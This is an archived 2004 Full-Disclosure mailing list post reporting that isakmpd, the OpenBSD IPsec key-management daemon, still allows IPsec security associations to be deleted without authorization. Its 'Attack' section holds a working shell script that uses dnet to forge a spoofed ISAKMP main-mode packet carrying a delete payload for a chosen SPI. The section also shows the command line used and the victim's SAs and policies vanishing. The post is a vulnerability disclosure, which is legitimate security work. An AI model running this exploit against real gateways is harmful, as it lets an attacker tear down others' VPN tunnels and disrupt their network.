full-disclosure - unauthorized deletion of IPsec SAs in isakmpd, still

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20040608185239.GB6778@unproved.org>
From: thomas-fd at unproved.org (Thomas Walpuski)
Subject: unauthorized deletion of IPsec SAs in isakmpd, still

1 Abstract

  For nearly 10 months a handful of OpenBSD-developers is trying to fix
  a plethora of payload handling flaws in isakmpd. On 2004/01/13 they
  released something like a final patch to a broader public. The patch
  protects against some specific attacks, but does not solve the
  problem. 

2 Description

  Unauthorized deletion of IPsec SAs is still possible using a delete
  payload piggybacked on a initiation of main mode.

  For more details trace message_recv() ff. with gdb during an attack.

3 Affected Systems

  All (recent) versions of isakmpd are affected. The attack has been
  successfully tested against the most recent CVS-version of isakmpd.

4 The Attack

  Here we go. There is an IPsec tunnel between sg-a and sg-b:

    sg-a# cat /kern/ipsec | grep SPI
    SPI = 97e49ca2, Destination = <sg-a's IP address>, Sproto = 50
    SPI = 901e38d9, Destination = <sg-b's IP address>, Sproto = 50

  The attacker built some little script, because this time he wants to
  shoot down a bunch of IPsec SAs:

    attacker# cat during_these_hostile_and_trying_times_and_what-not
    #!/bin/sh
    if [ ! $# -eq 3 ]; then
      echo "usage: $0 <faked-src> <victim> <spi>";
      exit;
    fi
    
    src=$1; dst=$2
    spi=`echo $3 | sed 's/\(..\)/\\\\x\1/g'`
    cky_i=`dd if=/dev/urandom bs=8 count=1 2>/dev/null`
    
    dnet hex \
      $cky_i \
      "\x00\x00\x00\x00\x00\x00\x00\x00" \
      "\x01\x10\x02\x00" \
      "\x00\x00\x00\x00" \
      "\x00\x00\x00\x58" \
        "\x0c\x00\x00\x2c" \
        "\x00\x00\x00\x01" \
        "\x00\x00\x00\x01" \
          "\x00\x00\x00\x20" \
          "\x01\x01\x00\x01" \
          "\x00\x00\x00\x18" \
          "\x00\x01\x00\x00" \
          "\x80\x01\x00\x05" \
          "\x80\x02\x00\x02" \
          "\x80\x03\x00\x01" \
          "\x80\x04\x00\x02" \
        "\x00\x00\x00\x10" \
        "\x00\x00\x00\x01" \
        "\x03\x04\x00\x01" \
        $spi |
    dnet udp sport 500 dport 500 |
    dnet ip proto udp src $src dst $dst |
    dnet send

  He fires up his script with appropriate parameters:
    
    attacker# ./during_these_hostile_and_trying_times_and_what-not \
    > sg-b sg-a 901e38d9

  And the victim's IPsec SAs _and_ policies fade away almost
  instantaneous:
    
    sg-a# cat /kern/ipsec  
    Hashmask: 31, policy entries: 0

5 Solution?

  There are no bug fixes, yet.

Thomas Walpuski